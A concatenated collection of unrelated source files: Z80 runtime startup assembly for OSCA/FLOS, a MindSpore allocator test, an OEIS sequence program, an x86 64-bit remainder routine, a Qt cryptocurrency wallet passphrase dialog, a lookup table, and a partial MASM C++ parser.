; FLOS system variables
PUBLIC sector_lba0 ; keep this byte order
PUBLIC sector_lba1
PUBLIC sector_lba2
PUBLIC sector_lba3
PUBLIC a_store1
PUBLIC bc_store1
PUBLIC de_store1
PUBLIC hl_store1
PUBLIC a_store2
PUBLIC bc_store2
PUBLIC de_store2
PUBLIC hl_store2
PUBLIC storeix
PUBLIC storeiy
PUBLIC storesp
PUBLIC storepc
PUBLIC storef
PUBLIC store_registers
PUBLIC com_start_addr
PUBLIC cursor_y ;keep this byte order
PUBLIC cursor_x ;(allows read as word with y=LSB)
PUBLIC current_scancode
PUBLIC current_asciicode
;--------
; OSCA / FLOS specific definitions
;--------
INCLUDE "flos.def"
INCLUDE "osca.def"
; Now, getting to the real stuff now!
;--------
; Set an origin for the application (-zorg=) default to $5000
;--------
IF !DEFINED_CRT_ORG_CODE
defc CRT_ORG_CODE = $5000
ENDIF
defc CONSOLE_COLUMNS = 40
defc CONSOLE_ROWS = 25
defc TAR__no_ansifont = 1
defc TAR__clib_exit_stack_size = 32
defc TAR__register_sp = 65536 - 6
defc __CPU_CLOCK = 4000000
INCLUDE "crt/classic/crt_rules.inc"
IF ((CRT_ORG_CODE = $5000) | (!DEFINED_osca_bank))
org CRT_ORG_CODE
ELSE
; optional Program Location File Header
org CRT_ORG_CODE
defb $ed
defb $00
jr start
defw CRT_ORG_CODE
IF DEFINED_osca_bank
defb osca_bank
ELSE
defb 0
ENDIF
defb $00 ; control byte: 1=truncate basing on next 3 bytes
;defw 0 ; Load length 15:0 only needed if truncate flag is set
;defb 0 ; Load length ..bits 23:16, only needed if truncate flag is set
ENDIF
start:
di
ld b,h
ld c,l
ld (start1+1),sp
INCLUDE "crt/classic/crt_init_sp.asm"
INCLUDE "crt/classic/crt_init_atexit.asm"
push bc
call crt0_init_bss
pop bc
ld (exitsp),sp
push bc ; keep ptr to arg list
; Optional definition for auto MALLOC init
; it assumes we have free space between the end of
; the compiled program and the stack pointer
IF DEFINED_USING_amalloc
INCLUDE "crt/classic/crt_init_amalloc.asm"
ENDIF
IF (!DEFINED_osca_notimer)
ld hl,(FLOS_irq_vector) ; The label "irq_vector" = $A01 (contained in equates file)
ld (original_irq_vector),hl ; Store the original FLOS vecotr for restoration later.
ld hl,my_custom_irq_handler
ld (FLOS_irq_vector),hl
ld a,@10000111 ; Enable keyboard, mouse and timer interrupts
out (sys_irq_enable),a
ld a,250
neg
out (sys_timer),a
ld a,@00000100
out (sys_clear_irq_flags),a ; Clear the timer IRQ flag
ELSE
ld b,255
.v_srand_loop
ld hl,FLOSvarsaddr
add (hl)
ld (FRAMES),a
inc hl
djnz v_srand_loop
ENDIF
ei
; Push pointers to argv[n] onto the stack now
; We must start from the end
pop hl ; command line back again
ld bc,0
ld a,(hl)
and a
jr z,argv_done
dec hl
find_end:
inc hl
inc c
ld a,(hl)
and a
jr nz,find_end
dec hl
INCLUDE "crt/classic/crt_command_line.asm"
push hl ;argv
push bc ;argc
call _main ;Call user code
pop bc ;kill argv
pop bc ;kill argc
cleanup:
;
; Deallocate memory which has been allocated here!
;
push hl ;save exit value
IF CRT_ENABLE_STDIO = 1
EXTERN closeall
call closeall
ENDIF
; kjt_flos_display restores the text mode but makes the screen flicker
; if it is in text mode already
;
IF (DEFINED_osca_restoretxt)
call $10c4 ; kjt_flos_display (added in v547)
ENDIF
IF (!DEFINED_osca_notimer)
di
ld hl,(original_irq_vector)
ld (FLOS_irq_vector),hl
ld a,@10000011 ; Enable keyboard and mouse interrupts only
out (sys_irq_enable),a
ei
ENDIF
pop hl ; restore exit value
start1:
ld sp,0
xor a
or h ; ATM we are not mamaging the 'spawn' exception
jr nz,cmdok
ld l,a
cmdok:
ld a,l ; return code (lowest byte only)
and a ; set Z flag to set the eventual error condition
;xor a ; (set A and flags for RESULT=OK)
ret
l_dcal:
jp (hl)
IF (!DEFINED_osca_notimer)
; ----------------------------------
; Custom Interrupt handlers
; ----------------------------------
my_custom_irq_handler:
push af
in a,(sys_irq_ps2_flags)
bit 0,a
call nz,kjt_keyboard_irq_code ; Kernal keyboard irq handler
bit 1,a
call nz,kjt_mouse_irq_code ; Kernal mouse irq handler
bit 2,a
call nz,my_timer_irq_code ; User's timer irq handler
pop af
ei
reti
my_timer_irq_code:
push af ; (do whatever, push/pop registers!)
push hl
; ld hl,(frames_pre)
; inc (hl)
; ld a,(hl)
; bit 4,a
; jr nz,timer_irq_count_done
ld hl,(FRAMES)
inc hl
ld (FRAMES),hl
;;ld (palette),hl ; testing purposes
ld a,h
or l
jr nz,timer_irq_count_done
ld hl,(FRAMES+2)
inc hl
ld (FRAMES+2),hl
timer_irq_count_done:
ld a,@00000100
out (sys_clear_irq_flags),a ; Clear the timer IRQ flag
pop hl
pop af
ret
ENDIF
SECTION bss_crt
PUBLIC FRAMES
original_irq_vector:
defw 0
FRAMES:
defw 0
defw 0
defm "Small C+ OSCA"
end:
defb 0
;--------------------------------------------------------------------------------------------
;
; OS_variables location as defined in system_equates.asm
; FLOSv582 sets it to $B00, hopefully it won't change much
; but we keep the option for making it dynamic
;
;--------------------------------------------------------------------------------------------
IF !DEFINED_FLOSvarsaddr
defc FLOSvarsaddr = $B00
ENDIF
;--------------------------------------------------------------------------------------------
DEFVARS FLOSvarsaddr
{
sector_lba0 ds.b 1 ; keep this byte order
sector_lba1 ds.b 1
sector_lba2 ds.b 1
sector_lba3 ds.b 1
a_store1 ds.b 1
bc_store1 ds.b 2
de_store1 ds.b 2
hl_store1 ds.b 2
a_store2 ds.b 1
bc_store2 ds.b 2
de_store2 ds.b 2
hl_store2 ds.b 2
storeix ds.b 2
storeiy ds.b 2
storesp ds.b 2
storepc ds.b 2
storef ds.b 1
store_registers ds.b 1
com_start_addr ds.w 1
cursor_y ds.b 1 ;keep this byte order
cursor_x ds.b 1 ;(allows read as word with y=LSB)
current_scancode ds.b 1
current_asciicode ds.b 1
; The other variable positions depend on the FLOS version
; ..
}
;--------------------------------------------------------------------------------------------
INCLUDE "crt/classic/crt_runtime_selection.asm"
INCLUDE "crt/classic/crt_section.asm"
SECTION code_crt_init
ld hl,$2000
ld (base_graphics),hl
SECTION rodata_clib
IF !DEFINED_noredir
IF CRT_ENABLE_STDIO = 1
redir_fopen_flag: defb 'w',0
redir_fopen_flagr: defb 'r',0
ENDIF
ENDIF
; SD CARD interface
IF DEFINED_NEED_SDCARD
SECTION bss_crt
PUBLIC card_select
PUBLIC sd_card_info
PUBLIC sector_buffer_loc
; Keep the following 2 bytes in the right order (1-card_select, 2-sd_card_info) !!!
card_select: defb 0 ; Currently selected MMC/SD slot
sd_card_info: defb 0 ; Card type flags..
sector_buffer_loc: defw 0
sector_buffer: defs 513
SECTION code_crt_init
ld hl,sector_buffer
ld (sector_buffer_loc),hl
ENDIF
|
/**
* Copyright 2019 Huawei Technologies Co., Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <string>
#include "dataset/util/arena.h"
#include "common/common.h"
#include "dataset/util/de_error.h"
#include "utils/log_adapter.h"
using namespace mindspore::dataset;
class MindDataTestArena : public UT::Common {
public:
MindDataTestArena() {}
};
TEST_F(MindDataTestArena, TestALLFunction) {
std::shared_ptr<Arena> mp;
Status rc = Arena::CreateArena(&mp);
ASSERT_TRUE(rc.IsOk());
std::shared_ptr<Arena> arena = std::dynamic_pointer_cast<Arena>(mp);
std::vector<void *> v;
srand(time(NULL));
for (int i = 0; i < 1000; i++) {
uint64_t sz = rand() % 1048576;
void *ptr = nullptr;
ASSERT_TRUE(mp->Allocate(sz, &ptr));
v.push_back(ptr);
}
for (int i = 0; i < 1000; i++) {
mp->Deallocate(v.at(i));
}
MS_LOG(DEBUG) << *mp;
}
|
; A141631: a(n) = 3*n^2 - 4*n + 3.
; 2,7,18,35,58,87,122,163,210,263,322,387,458,535,618,707,802,903,1010,1123,1242,1367,1498,1635,1778,1927,2082,2243,2410,2583,2762,2947,3138,3335,3538,3747,3962,4183,4410,4643,4882,5127,5378,5635,5898,6167,6442
mov $1,3
mul $1,$0
add $1,2
mul $1,$0
add $1,2
mov $0,$1
|
;; Test 1
ADD R0 R0 1 ;Test2
; Test 3 |
;-----------------------------------------------------------------------------
; llrem.asm - signed long remainder routine
;-----------------------------------------------------------------------------
.386
_TEXT segment use32 para public 'CODE'
public __allrem
LOWORD equ [0]
HIWORD equ [4]
;
; llrem - signed long remainder
;
; Purpose:
; Does a signed long remainder of the arguments. Arguments are
; not changed.
;
; Entry:
; Arguments are passed on the stack:
; 1st pushed: divisor (QWORD)
; 2nd pushed: dividend (QWORD)
;
; Exit:
; EDX:EAX contains the remainder (dividend%divisor)
; NOTE: this routine removes the parameters from the stack.
;
; Uses:
; ECX
;
__allrem proc near
assume cs:_TEXT
push ebx
push edi
; Set up the local stack and save the index registers. When this is done
; the stack frame will look as follows (assuming that the expression a%b will
; generate a call to lrem(a, b)):
;
; -----------------
; | |
; |---------------|
; | |
; |--divisor (b)--|
; | |
; |---------------|
; | |
; |--dividend (a)-|
; | |
; |---------------|
; | return addr** |
; |---------------|
; | EBX |
; |---------------|
; ESP---->| EDI |
; -----------------
;
DVND equ [esp + 12] ; stack address of dividend (a)
DVSR equ [esp + 20] ; stack address of divisor (b)
; Determine sign of the result (edi = 0 if result is positive, non-zero
; otherwise) and make operands positive.
xor edi,edi ; result sign assumed positive
mov eax,HIWORD(DVND) ; hi word of a
or eax,eax ; test to see if signed
jge short L1 ; skip rest if a is already positive
inc edi ; complement result sign flag bit
mov edx,LOWORD(DVND) ; lo word of a
neg eax ; make a positive
neg edx
sbb eax,0
mov HIWORD(DVND),eax ; save positive value
mov LOWORD(DVND),edx
L1:
mov eax,HIWORD(DVSR) ; hi word of b
or eax,eax ; test to see if signed
jge short L2 ; skip rest if b is already positive
mov edx,LOWORD(DVSR) ; lo word of b
neg eax ; make b positive
neg edx
sbb eax,0
mov HIWORD(DVSR),eax ; save positive value
mov LOWORD(DVSR),edx
L2:
;
; Now do the divide. First look to see if the divisor is less than 4194304K.
; If so, then we can use a simple algorithm with word divides, otherwise
; things get a little more complex.
;
; NOTE - eax currently contains the high order word of DVSR
;
or eax,eax ; check to see if divisor < 4194304K
jnz short L3 ; nope, gotta do this the hard way
mov ecx,LOWORD(DVSR) ; load divisor
mov eax,HIWORD(DVND) ; load high word of dividend
xor edx,edx
div ecx ; edx <- remainder
mov eax,LOWORD(DVND) ; edx:eax <- remainder:lo word of dividend
div ecx ; edx <- final remainder
mov eax,edx ; edx:eax <- remainder
xor edx,edx
dec edi ; check result sign flag
jns short L4 ; negate result, restore stack and return
jmp short L8 ; result sign ok, restore stack and return
;
; Here we do it the hard way. Remember, eax contains the high word of DVSR
;
L3:
mov ebx,eax ; ebx:ecx <- divisor
mov ecx,LOWORD(DVSR)
mov edx,HIWORD(DVND) ; edx:eax <- dividend
mov eax,LOWORD(DVND)
L5:
shr ebx,1 ; shift divisor right one bit
rcr ecx,1
shr edx,1 ; shift dividend right one bit
rcr eax,1
or ebx,ebx
jnz short L5 ; loop until divisor < 4194304K
div ecx ; now divide, ignore remainder
;
; We may be off by one, so to check, we will multiply the quotient
; by the divisor and check the result against the orignal dividend
; Note that we must also check for overflow, which can occur if the
; dividend is close to 2**64 and the quotient is off by 1.
;
mov ecx,eax ; save a copy of quotient in ECX
mul dword ptr HIWORD(DVSR)
xchg ecx,eax ; save product, get quotient in EAX
mul dword ptr LOWORD(DVSR)
add edx,ecx ; EDX:EAX = QUOT * DVSR
jc short L6 ; carry means Quotient is off by 1
;
; do long compare here between original dividend and the result of the
; multiply in edx:eax. If original is larger or equal, we are ok, otherwise
; subtract the original divisor from the result.
;
cmp edx,HIWORD(DVND) ; compare hi words of result and original
ja short L6 ; if result > original, do subtract
jb short L7 ; if result < original, we are ok
cmp eax,LOWORD(DVND) ; hi words are equal, compare lo words
jbe short L7 ; if less or equal we are ok, else subtract
L6:
sub eax,LOWORD(DVSR) ; subtract divisor from result
sbb edx,HIWORD(DVSR)
L7:
;
; Calculate remainder by subtracting the result from the original dividend.
; Since the result is already in a register, we will do the subtract in the
; opposite direction and negate the result if necessary.
;
sub eax,LOWORD(DVND) ; subtract dividend from result
sbb edx,HIWORD(DVND)
;
; Now check the result sign flag to see if the result is supposed to be positive
; or negative. It is currently negated (because we subtracted in the 'wrong'
; direction), so if the sign flag is set we are done, otherwise we must negate
; the result to make it positive again.
;
dec edi ; check result sign flag
jns short L8 ; result is ok, restore stack and return
L4:
neg edx ; otherwise, negate the result
neg eax
sbb edx,0
;
; Just the cleanup left to do. edx:eax contains the quotient.
; Restore the saved registers and return.
;
L8:
pop edi
pop ebx
ret 16
__allrem endp
_TEXT ends
end
|
// Copyright (c) 2011-2018 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#if defined(HAVE_CONFIG_H)
#include <config/bitcoin-config.h>
#endif
#include <qt/askpassphrasedialog.h>
#include <qt/forms/ui_askpassphrasedialog.h>
#include <qt/guiconstants.h>
#include <qt/walletmodel.h>
#include <support/allocators/secure.h>
#include <QKeyEvent>
#include <QMessageBox>
#include <QPushButton>
AskPassphraseDialog::AskPassphraseDialog(Mode _mode, QWidget *parent) :
QDialog(parent),
ui(new Ui::AskPassphraseDialog),
mode(_mode),
model(nullptr),
fCapsLock(false)
{
ui->setupUi(this);
ui->passEdit1->setMinimumSize(ui->passEdit1->sizeHint());
ui->passEdit2->setMinimumSize(ui->passEdit2->sizeHint());
ui->passEdit3->setMinimumSize(ui->passEdit3->sizeHint());
ui->passEdit1->setMaxLength(MAX_PASSPHRASE_SIZE);
ui->passEdit2->setMaxLength(MAX_PASSPHRASE_SIZE);
ui->passEdit3->setMaxLength(MAX_PASSPHRASE_SIZE);
// Setup Caps Lock detection.
ui->passEdit1->installEventFilter(this);
ui->passEdit2->installEventFilter(this);
ui->passEdit3->installEventFilter(this);
switch(mode)
{
case Encrypt: // Ask passphrase x2
ui->warningLabel->setText(tr("Enter the new passphrase to the wallet.<br/>Please use a passphrase of <b>ten or more random characters</b>, or <b>eight or more words</b>."));
ui->passLabel1->hide();
ui->passEdit1->hide();
setWindowTitle(tr("Encrypt wallet"));
break;
case Unlock: // Ask passphrase
ui->warningLabel->setText(tr("This operation needs your wallet passphrase to unlock the wallet."));
ui->passLabel2->hide();
ui->passEdit2->hide();
ui->passLabel3->hide();
ui->passEdit3->hide();
setWindowTitle(tr("Unlock wallet"));
break;
case Decrypt: // Ask passphrase
ui->warningLabel->setText(tr("This operation needs your wallet passphrase to decrypt the wallet."));
ui->passLabel2->hide();
ui->passEdit2->hide();
ui->passLabel3->hide();
ui->passEdit3->hide();
setWindowTitle(tr("Decrypt wallet"));
break;
case ChangePass: // Ask old passphrase + new passphrase x2
setWindowTitle(tr("Change passphrase"));
ui->warningLabel->setText(tr("Enter the old passphrase and new passphrase to the wallet."));
break;
}
textChanged();
connect(ui->toggleShowPasswordButton, &QPushButton::toggled, this, &AskPassphraseDialog::toggleShowPassword);
connect(ui->passEdit1, &QLineEdit::textChanged, this, &AskPassphraseDialog::textChanged);
connect(ui->passEdit2, &QLineEdit::textChanged, this, &AskPassphraseDialog::textChanged);
connect(ui->passEdit3, &QLineEdit::textChanged, this, &AskPassphraseDialog::textChanged);
}
AskPassphraseDialog::~AskPassphraseDialog()
{
secureClearPassFields();
delete ui;
}
void AskPassphraseDialog::setModel(WalletModel *_model)
{
this->model = _model;
}
void AskPassphraseDialog::accept()
{
SecureString oldpass, newpass1, newpass2;
if(!model)
return;
oldpass.reserve(MAX_PASSPHRASE_SIZE);
newpass1.reserve(MAX_PASSPHRASE_SIZE);
newpass2.reserve(MAX_PASSPHRASE_SIZE);
// TODO: get rid of this .c_str() by implementing SecureString::operator=(std::string)
// Alternately, find a way to make this input mlock()'d to begin with.
oldpass.assign(ui->passEdit1->text().toStdString().c_str());
newpass1.assign(ui->passEdit2->text().toStdString().c_str());
newpass2.assign(ui->passEdit3->text().toStdString().c_str());
secureClearPassFields();
switch(mode)
{
case Encrypt: {
if(newpass1.empty() || newpass2.empty())
{
// Cannot encrypt with empty passphrase
break;
}
QMessageBox::StandardButton retval = QMessageBox::question(this, tr("Confirm wallet encryption"),
tr("Warning: If you encrypt your wallet and lose your passphrase, you will <b>LOSE ALL OF YOUR LITECOINS</b>!") + "<br><br>" + tr("Are you sure you wish to encrypt your wallet?"),
QMessageBox::Yes|QMessageBox::Cancel,
QMessageBox::Cancel);
if(retval == QMessageBox::Yes)
{
if(newpass1 == newpass2)
{
if(model->setWalletEncrypted(true, newpass1))
{
QMessageBox::warning(this, tr("Wallet encrypted"),
"<qt>" +
tr("Your wallet is now encrypted. "
"Remember that encrypting your wallet cannot fully protect "
"your growthcoins from being stolen by malware infecting your computer.") +
"<br><br><b>" +
tr("IMPORTANT: Any previous backups you have made of your wallet file "
"should be replaced with the newly generated, encrypted wallet file. "
"For security reasons, previous backups of the unencrypted wallet file "
"will become useless as soon as you start using the new, encrypted wallet.") +
"</b></qt>");
}
else
{
QMessageBox::critical(this, tr("Wallet encryption failed"),
tr("Wallet encryption failed due to an internal error. Your wallet was not encrypted."));
}
QDialog::accept(); // Success
}
else
{
QMessageBox::critical(this, tr("Wallet encryption failed"),
tr("The supplied passphrases do not match."));
}
}
else
{
QDialog::reject(); // Cancelled
}
} break;
case Unlock:
try {
if (!model->setWalletLocked(false, oldpass)) {
QMessageBox::critical(this, tr("Wallet unlock failed"),
tr("The passphrase entered for the wallet decryption was incorrect."));
} else {
QDialog::accept(); // Success
}
} catch (const std::runtime_error& e) {
QMessageBox::critical(this, tr("Wallet unlock failed"), e.what());
}
break;
case Decrypt:
if(!model->setWalletEncrypted(false, oldpass))
{
QMessageBox::critical(this, tr("Wallet decryption failed"),
tr("The passphrase entered for the wallet decryption was incorrect."));
}
else
{
QDialog::accept(); // Success
}
break;
case ChangePass:
if(newpass1 == newpass2)
{
if(model->changePassphrase(oldpass, newpass1))
{
QMessageBox::information(this, tr("Wallet encrypted"),
tr("Wallet passphrase was successfully changed."));
QDialog::accept(); // Success
}
else
{
QMessageBox::critical(this, tr("Wallet encryption failed"),
tr("The passphrase entered for the wallet decryption was incorrect."));
}
}
else
{
QMessageBox::critical(this, tr("Wallet encryption failed"),
tr("The supplied passphrases do not match."));
}
break;
}
}
void AskPassphraseDialog::textChanged()
{
// Validate input, set Ok button to enabled when acceptable
bool acceptable = false;
switch(mode)
{
case Encrypt: // New passphrase x2
acceptable = !ui->passEdit2->text().isEmpty() && !ui->passEdit3->text().isEmpty();
break;
case Unlock: // Old passphrase x1
case Decrypt:
acceptable = !ui->passEdit1->text().isEmpty();
break;
case ChangePass: // Old passphrase x1, new passphrase x2
acceptable = !ui->passEdit1->text().isEmpty() && !ui->passEdit2->text().isEmpty() && !ui->passEdit3->text().isEmpty();
break;
}
ui->buttonBox->button(QDialogButtonBox::Ok)->setEnabled(acceptable);
}
bool AskPassphraseDialog::event(QEvent *event)
{
// Detect Caps Lock key press.
if (event->type() == QEvent::KeyPress) {
QKeyEvent *ke = static_cast<QKeyEvent *>(event);
if (ke->key() == Qt::Key_CapsLock) {
fCapsLock = !fCapsLock;
}
if (fCapsLock) {
ui->capsLabel->setText(tr("Warning: The Caps Lock key is on!"));
} else {
ui->capsLabel->clear();
}
}
return QWidget::event(event);
}
void AskPassphraseDialog::toggleShowPassword(bool show)
{
ui->toggleShowPasswordButton->setDown(show);
const auto mode = show ? QLineEdit::Normal : QLineEdit::Password;
ui->passEdit1->setEchoMode(mode);
ui->passEdit2->setEchoMode(mode);
ui->passEdit3->setEchoMode(mode);
}
bool AskPassphraseDialog::eventFilter(QObject *object, QEvent *event)
{
/* Detect Caps Lock.
* There is no good OS-independent way to check a key state in Qt, but we
* can detect Caps Lock by checking for the following condition:
* Shift key is down and the result is a lower case character, or
* Shift key is not down and the result is an upper case character.
*/
if (event->type() == QEvent::KeyPress) {
QKeyEvent *ke = static_cast<QKeyEvent *>(event);
QString str = ke->text();
if (str.length() != 0) {
const QChar *psz = str.unicode();
bool fShift = (ke->modifiers() & Qt::ShiftModifier) != 0;
if ((fShift && *psz >= 'a' && *psz <= 'z') || (!fShift && *psz >= 'A' && *psz <= 'Z')) {
fCapsLock = true;
ui->capsLabel->setText(tr("Warning: The Caps Lock key is on!"));
} else if (psz->isLetter()) {
fCapsLock = false;
ui->capsLabel->clear();
}
}
}
return QDialog::eventFilter(object, event);
}
static void SecureClearQLineEdit(QLineEdit* edit)
{
// Attempt to overwrite text so that they do not linger around in memory
edit->setText(QString(" ").repeated(edit->text().size()));
edit->clear();
}
void AskPassphraseDialog::secureClearPassFields()
{
SecureClearQLineEdit(ui->passEdit1);
SecureClearQLineEdit(ui->passEdit2);
SecureClearQLineEdit(ui->passEdit3);
}
|
;
; Generic pseudo graphics routines for text-only platforms
; Version for the 2x3 graphics symbols (true index)
;
; Divide by three lookup table
;
;
; $Id: div3.asm $
;
SECTION rodata_graphics
PUBLIC div3
.div3
; 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
defb 0, 0, 0, 1, 1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 4, 5, 5
; 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
defb 5, 6, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 9,10,10,10
; 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
defb 11,11,11,12,12,12,13,13,13,14,14,14,15,15,15,16
; 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
defb 16,16,17,17,17,18,18,18,19,19,19,20,20,20,21,21
; 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
defb 21,22,22,22,23,23,23,24,24,24,25,25,25,26,26,26
; 81 82 83 84
defb 27,27,27,28
;## TL TR
;## ML MR
;## BL BR
;
;POS: X/2, Y/3
;
;Bit: X mod 2, Y mod 3
|
.const
szDefine db '#define',0
szTypedef db 'typedef',0
szStruct db 'struct',0
szUnion db 'union',0
szStatic db 'static',0
szConst db 'const',0
szFar db 'far',0
;Skip
szVolatile db 'volatile',0
szUnaligned db 'unaligned',0
szInclude db '#include',0
szInline db 'inline',0
szClass db 'class',0
szEnum db 'enum',0
szExtern db 'extern',0
szIfdef db '#ifdef',0
szIfndef db '#ifndef',0
szIf db '#if',0
szElif db '#elif',0
szElse db '#else',0
szEndif db '#endif',0
szPragma db '#pragma',0
szNew db 'new',0
szUndef db '#undef',0
szError db '#error',0
szDECLARE_INTERFACE db 'DECLARE_INTERFACE',0
szDECLARE_INTERFACE_ db 'DECLARE_INTERFACE_',0
szDECLARE_MAPI_INTERFACE_ db 'DECLARE_MAPI_INTERFACE_',0
szCppString db '"',"'",0,0
.data?
lpFunSt dd ?
lpFunEn dd ?
lpFunPos dd ?
.code
CppDestroyString proc lpMem:DWORD
mov eax,lpMem
movzx ecx,byte ptr [eax]
inc eax
.while byte ptr [eax]!=0 && byte ptr [eax]!=VK_RETURN
mov dx,[eax]
.if dx==cx
mov word ptr [eax],' '
lea eax,[eax+2]
.else
inc eax
.break .if dl==cl
mov byte ptr [eax-1],20h
.endif
.endw
ret
CppDestroyString endp
CppDestroyCmntBlock proc uses esi,lpMem:DWORD
LOCAL buffer[512]:BYTE
mov esi,lpMem
invoke strcpy,addr buffer,addr [ebx].RAPROPERTY.defgen.szCmntBlockSt
invoke strlen,addr buffer
.if eax
.if word ptr buffer=="*/"
.while byte ptr [esi]
.if byte ptr [esi]=='"' || byte ptr [esi]=="'"
invoke CppDestroyString,esi
mov esi,eax
.elseif word ptr [esi]=="//"
invoke DestroyToEol,esi
mov esi,eax
.elseif word ptr [esi]=="*/"
invoke SearchMemDown,addr [esi+2],addr [ebx].RAPROPERTY.defgen.szCmntBlockEn,FALSE,FALSE,[ebx].RAPROPERTY.lpchartab
.if eax
lea edx,[eax+1]
.while esi<=edx
mov al,[esi]
.if al!=0Dh
mov byte ptr [esi],' '
.endif
inc esi
.endw
.else
invoke DestroyToEof,esi
mov esi,eax
.endif
.else
inc esi
.endif
.endw
.endif
.endif
ret
CppDestroyCmntBlock endp
CppDestroyCommentsStrings proc uses esi,lpMem:DWORD
mov esi,lpMem
mov ecx,'//'
mov edx,dword ptr szCppString
.while byte ptr [esi]
.if word ptr [esi]==cx
invoke DestroyToEol,esi
mov esi,eax
.elseif byte ptr [esi]==dl
invoke CppDestroyString,esi
mov esi,eax
mov ecx,'//'
mov edx,dword ptr szCppString
.elseif byte ptr [esi]==VK_TAB
mov byte ptr [esi],VK_SPACE
.else
inc esi
.endif
.endw
ret
CppDestroyCommentsStrings endp
CppPreParse proc uses esi,lpMem:DWORD
invoke CppDestroyCmntBlock,lpMem
invoke CppDestroyCommentsStrings,lpMem
ret
CppPreParse endp
SearchType proc uses esi,lpType:DWORD
mov esi,[ebx].RAPROPERTY.lpmem
.while [esi].PROPERTIES.nSize
movzx eax,[esi].PROPERTIES.nType
.if eax=='T' || eax=='t' || eax=='S' || eax=='s'
call CppCompare
je @f
.endif
mov eax,[esi].PROPERTIES.nSize
lea esi,[esi+eax+sizeof PROPERTIES]
.endw
@@:
ret
CppCompare:
lea edx,[esi+sizeof PROPERTIES]
mov ecx,lpType
@@:
mov al,[ecx]
mov ah,[edx]
inc ecx
inc edx
.if al>='a' && al<='z'
and al,5Fh
.endif
.if al>='a' && al<='z'
and al,5Fh
.endif
sub al,ah
jne @f
cmp al,ah
jne @b
@@:
retn
SearchType endp
IsWord proc lpSrc:DWORD,nLen:DWORD,lpWord:DWORD,lpCharTab:DWORD
invoke strlen,lpWord
.if eax==nLen
push esi
push edi
mov esi,lpSrc
mov edi,lpWord
mov edx,lpCharTab
xor ecx,ecx
xor eax,eax
inc eax
.while ecx<nLen
movzx eax,byte ptr [esi+ecx]
.if al==[edi+ecx]
xor eax,eax
.else
movzx eax,byte ptr [edx+eax+256]
.if al==[edi+ecx]
xor eax,eax
.else
.break
.endif
.endif
inc ecx
.endw
pop edi
pop esi
.if !eax
inc eax
.else
xor eax,eax
.endif
.else
xor eax,eax
.endif
ret
IsWord endp
CppSkipScope proc lpnpos:DWORD
mov edx,lpnpos
xor eax,eax
xor ecx,ecx
call CppSkipScope1
ret
CppSkipScope1:
mov al,[esi]
or al,al
je @f
inc esi
.if al==ah
dec ecx
retn
.elseif al=='['
push eax
inc ecx
mov ah,']'
call CppSkipScope1
pop eax
.elseif al=='('
push eax
inc ecx
mov ah,')'
call CppSkipScope1
pop eax
.elseif al=='{'
; Begin / End
push eax
inc ecx
mov ah,'}'
call CppSkipScope1
pop eax
.elseif al=='"' || al=="'"
; String
inc ecx
.while al!=[esi] && byte ptr [esi]
.if byte ptr [esi]==VK_RETURN
inc dword ptr [edx]
.endif
inc esi
.endw
.if al==[esi]
inc esi
dec ecx
.endif
.elseif al==VK_RETURN
.if byte ptr [esi]==0Ah
inc esi
.endif
inc dword ptr [edx]
.endif
or ecx,ecx
jne CppSkipScope1
@@:
retn
CppSkipScope endp
CppSkipLine proc uses esi,lpMem:DWORD,lpnpos:DWORD
mov eax,lpMem
mov ecx,'\'
.while byte ptr [eax] && byte ptr [eax]!=VK_RETURN
.if cl==byte ptr [eax]
inc eax
.while byte ptr [eax]==VK_SPACE
inc eax
.endw
.if byte ptr [eax]==VK_RETURN
mov edx,lpnpos
inc dword ptr [edx]
.if byte ptr [eax+1]==0Ah
inc eax
.endif
.endif
.endif
inc eax
.endw
.if byte ptr [eax]==VK_RETURN
inc eax
.if byte ptr [eax]==0Ah
inc eax
.endif
.endif
ret
CppSkipLine endp
CppFixUnknown proc uses ebx esi edi
mov esi,[ebx].RAPROPERTY.lpmem
.if esi
.if ![ebx].RAPROPERTY.hMemArray
; Setup array of pointers to T and S types
invoke GlobalAlloc,GMEM_FIXED or GMEM_ZEROINIT,1024*1024*4
mov [ebx].RAPROPERTY.hMemArray,eax
.endif
mov edi,[ebx].RAPROPERTY.hMemArray
mov edx,'TS'
mov ecx,'s'
.while [esi].PROPERTIES.nSize
mov al,[esi].PROPERTIES.nType
.if al==dl || al==dh || al==cl
mov [edi],esi
lea edi,[edi+4]
.endif
mov eax,[esi].PROPERTIES.nSize
lea esi,[esi+eax+sizeof PROPERTIES]
.endw
mov dword ptr [edi],0
; Find U types and change it to d if found in array
mov esi,[ebx].RAPROPERTY.lpmem
add esi,[ebx].RAPROPERTY.rpproject
.while [esi].PROPERTIES.nSize
.if [esi].PROPERTIES.nType=='U'
lea ecx,[esi+sizeof PROPERTIES]
.while byte ptr [ecx]
inc ecx
.endw
inc ecx
push ebx
mov ebx,[ebx].RAPROPERTY.hMemArray
xor eax,eax
.while dword ptr [ebx]
mov edi,[ebx]
xor edx,edx
@@:
mov al,[ecx+edx]
.if al=='*'
xor al,al
.endif
mov ah,[edi+edx+sizeof PROPERTIES]
or ah,ah
je @f
inc edx
sub al,ah
je @b
@@:
.if !eax
mov [esi].PROPERTIES.nType,'d'
.break
.endif
lea ebx,[ebx+4]
.endw
pop ebx
.endif
mov eax,[esi].PROPERTIES.nSize
lea esi,[esi+eax+sizeof PROPERTIES]
.endw
.endif
ret
CppFixUnknown endp
CppParseFile proc uses ebx esi edi,nOwner:DWORD,lpMem:DWORD
LOCAL lpCharTab
LOCAL len:DWORD
LOCAL lpRet:DWORD
LOCAL lenRet:DWORD
LOCAL lpFun:DWORD
LOCAL lenFun:DWORD
LOCAL lpParamSt:DWORD
